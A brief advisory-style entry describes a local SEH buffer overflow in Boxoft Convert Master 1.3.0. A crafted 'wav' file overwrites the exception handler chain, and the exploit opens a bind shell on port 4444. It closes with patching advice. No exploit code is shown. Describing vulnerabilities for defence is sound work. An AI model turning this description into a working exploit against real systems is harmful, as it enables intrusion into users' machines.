Boxoft Convert Master 1.3.0 – ‘wav’ SEH Local Exploit

This exploit allows an attacker to execute arbitrary code on a vulnerable system. By providing a specially crafted 'wav' file, an attacker can trigger a buffer overflow condition, overwrite the Structured Exception Handler (SEH) chain, and gain control of the program's execution flow. This exploit includes a bind shell on port 4444.

Mitigation:

To mitigate this vulnerability, users should apply the latest patch or update for Boxoft Convert Master. It is also recommended to avoid opening untrusted 'wav' files.
